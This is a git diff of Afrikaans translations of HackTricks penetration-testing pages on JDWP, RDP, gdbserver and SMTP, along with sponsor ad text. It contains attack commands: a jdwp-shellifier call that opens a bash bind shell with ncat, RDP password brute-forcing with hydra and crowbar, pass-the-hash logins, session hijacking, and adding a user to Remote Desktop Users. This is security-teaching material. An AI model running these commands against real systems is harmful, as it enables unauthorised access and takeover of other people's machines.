JDWP eksplorasie hang af van die **protokol se gebrek aan outentisering en versleuteling**. Dit word oor die algemeen op **poort 8000** gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP diens aktief is, antwoord dit met dieselfde string, wat sy teenwoordigheid bevestig. Hierdie handshake dien as 'n vingerafdrukmetode om JDWP dienste op die netwerk te identifiseer.
|
JDWP eksploitering hang af van die **protokol se gebrek aan outentisering en versleuteling**. Dit word oor die algemeen op **poort 8000** gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP diens aktief is, reageer dit met dieselfde string, wat sy teenwoordigheid bevestig. Hierdie handshake dien as 'n vingerafdrukmetode om JDWP dienste op die netwerk te identifiseer.
|
||||||
|
|
||||||
In terme van prosesidentifikasie, kan die soek na die string "jdwk" in Java prosesse 'n aktiewe JDWP sessie aandui.
|
In terme van prosesidentifikasie, kan die soek na die string "jdwk" in Java prosesse 'n aktiewe JDWP sessie aandui.
|
||||||
|
|
||||||
Die gereedskap om te gebruik is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
Die gereedskap van keuse is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
||||||
```bash
|
```bash
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||||
|
@ -41,26 +43,26 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
||||||
|
|
||||||
|
|
||||||
1. **JDWP Oorsig**:
|
1. **JDWP Oorsig**:
|
||||||
- It's a packet-based network binary protocol, primarily synchronous.
|
- Dit is 'n pakkie-gebaseerde netwerk-binary protokol, hoofsaaklik sinchronies.
|
||||||
- Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.
|
- Dit ontbreek outentikasie en versleuteling, wat dit kwesbaar maak wanneer dit blootgestel word aan vyandige netwerke.
|
||||||
|
|
||||||
2. **JDWP Handshake**:
|
2. **JDWP Handdruk**:
|
||||||
- A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).
|
- 'n Eenvoudige handdrukproses word gebruik om kommunikasie te begin. 'n 14-karakter ASCII-string “JDWP-Handshake” word tussen die Debugger (klient) en die Debuggee (bediener) uitgewissel.
|
||||||
|
|
||||||
3. **JDWP Kommunikasie**:
|
3. **JDWP Kommunikasie**:
|
||||||
- Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
|
- Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag, en CommandSet.
|
||||||
- CommandSet values range from 0x40 to 0x80, representing different actions and events.
|
- CommandSet waardes wissel van 0x40 tot 0x80, wat verskillende aksies en gebeurtenisse verteenwoordig.
|
||||||
|
|
||||||
4. **Eksploitatie**:
|
4. **Eksploitering**:
|
||||||
- JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
|
- JDWP laat die laai en aanroep van arbitrêre klasse en bytecode toe, wat sekuriteitsrisiko's inhou.
|
||||||
- The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.
|
- Die artikel beskryf 'n eksploitering proses in vyf stappe, wat die verkryging van Java Runtime verwysings, die instelling van breekpunte, en die aanroep van metodes insluit.
|
||||||
|
|
||||||
5. **Regte Lewe Eksploitatie**:
|
5. **Regte Lewe Eksploitering**:
|
||||||
- Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
|
- Ten spyte van potensiële firewall beskerming, is JDWP dienste ontdekbaar en eksploteerbaar in werklike scenario's, soos gedemonstreer deur soektogte op platforms soos ShodanHQ en GitHub.
|
||||||
- The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).
|
- Die eksploit skrip is getoets teen verskeie JDK weergawes en is platform-onafhanklik, wat betroubare Remote Code Execution (RCE) bied.
|
||||||
|
|
||||||
6. **Sekuriteitsimplikasies**:
|
6. **Sekuriteitsimplikasies**:
|
||||||
- The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.
|
- Die teenwoordigheid van oop JDWP dienste op die internet beklemtoon die behoefte aan gereelde sekuriteitshersienings, die deaktivering van debug funksies in produksie, en behoorlike firewall konfigurasies.
|
||||||
|
|
||||||
|
|
||||||
### **References:**
|
### **References:**
|
||||||
|
@ -80,7 +82,9 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
|
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||||
|
|
||||||
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -7,7 +7,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -15,7 +15,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -43,7 +45,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Dadelijk beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -51,7 +55,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,13 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP** kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afstandsrekenaar **RDP** bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om die afstandsrekenaar se desktopomgewing naatloos te beheer en toegang te verkry, wat essensieel sy koppelvlak na die gebruiker se plaaslike toestel bring.
|
Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP** kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afstandsrekenaar **RDP** bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om die desktopomgewing van 'n verre rekenaar naatloos te beheer en toegang te verkry, wat essensieel die koppelvlak na die gebruiker se plaaslike toestel bring.
|
||||||
|
|
||||||
**Standaard poort:** 3389
|
**Standaard poort:** 3389
|
||||||
```
|
```
|
||||||
|
@ -55,22 +57,24 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||||
# hydra
|
# hydra
|
||||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||||
```
|
```
|
||||||
### Verbind met bekende akrediteer/hasie
|
### Verbinde met bekende akrediteer/hasie
|
||||||
```bash
|
```bash
|
||||||
rdesktop -u <username> <IP>
|
rdesktop -u <username> <IP>
|
||||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||||||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||||
```
|
```
|
||||||
### Kontroleer bekende geloofsbriewe teen RDP-dienste
|
### Kontroleer bekende akrediteerbesonderhede teen RDP-dienste
|
||||||
|
|
||||||
rdp\_check.py van impacket laat jou toe om te kontroleer of sommige geloofsbriewe geldig is vir 'n RDP-diens:
|
rdp\_check.py van impacket laat jou toe om te kontroleer of sekere akrediteerbesonderhede geldig is vir 'n RDP-diens:
|
||||||
```bash
|
```bash
|
||||||
rdp_check <domain>/<name>:<password>@<IP>
|
rdp_check <domain>/<name>:<password>@<IP>
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap en funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing- en eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -92,7 +96,7 @@ Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker moet n
|
||||||
|
|
||||||
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.
|
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.
|
||||||
|
|
||||||
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele werkstasies te interaksie (wagwoorde in notepad sonder om op die skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)
|
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)
|
||||||
|
|
||||||
#### **Mimikatz**
|
#### **Mimikatz**
|
||||||
|
|
||||||
|
@ -123,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||||
|
|
||||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||||
|
|
||||||
**AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, wat hoofsaaklik ontwerp is om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
|
**AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, ontwerp hoofsaaklik om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
|
||||||
|
|
||||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||||
* Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
* Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
||||||
|
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -10,20 +10,22 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
**gdbserver** is 'n gereedskap wat die foutopsporing van programme op afstand moontlik maak. Dit loop saam met die program wat foutopsporing benodig op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling laat die **GNU Debugger** toe om van 'n ander masjien, die "gasheer," te verbind, waar die bronskode en 'n binêre kopie van die gefouteerde program gestoor word. Die verbinding tussen **gdbserver** en die debugger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige foutopsporing opstellings moontlik maak.
|
**gdbserver** is 'n hulpmiddel wat die afstandsdebugin van programme moontlik maak. Dit loop saam met die program wat gedebug moet word op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling laat die **GNU Debugger** toe om van 'n ander masjien, die "gasheer," te verbind, waar die bronskode en 'n binêre kopie van die gedebugde program gestoor word. Die verbinding tussen **gdbserver** en die debugger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige debugin-opstellings moontlik maak.
|
||||||
|
|
||||||
Jy kan 'n **gdbserver laat luister op enige poort** en op die oomblik **kan nmap nie die diens herken nie**.
|
Jy kan 'n **gdbserver laat luister op enige poort** en op die oomblik **kan nmap nie die diens herken nie**.
|
||||||
|
|
||||||
|
@ -198,7 +200,9 @@ RemoteCmd()
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Dadelijk beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap en funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing- & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,13 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP suite gebruik word vir die **verstuur en ontvang van e-pos**. Vanweë sy beperkings in die opstel van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met **POP3 of IMAP** gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bediener se posbus te stoor en om dit periodiek af te laai.
|
Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP suite gebruik word vir die **verzending en ontvangs van e-pos**. Vanweë sy beperkings in die opstel van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met **POP3 of IMAP** gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bediener se posbus te stoor en om dit periodiek af te laai.
|
||||||
|
|
||||||
In praktyk is dit algemeen dat **e-posprogramme** **SMTP gebruik om e-posse te stuur**, terwyl **POP3 of IMAP gebruik word om dit te ontvang**. Op stelsels wat op Unix gebaseer is, is **sendmail** die SMTP-bediener wat die meeste gebruik word vir e-posdoeleindes. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied **Microsoft Exchange** 'n SMTP-bediener en bied die opsie om POP3-ondersteuning in te sluit.
|
In praktyk is dit algemeen dat **e-posprogramme** **SMTP gebruik om e-posse te stuur**, terwyl **POP3 of IMAP gebruik word om dit te ontvang**. Op stelsels wat op Unix gebaseer is, is **sendmail** die SMTP-bediener wat die meeste gebruik word vir e-posdoeleindes. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied **Microsoft Exchange** 'n SMTP-bediener en bied die opsie om POP3-ondersteuning in te sluit.
|
||||||
|
|
||||||
|
@ -55,7 +57,7 @@ nc -vn <IP> 25
|
||||||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
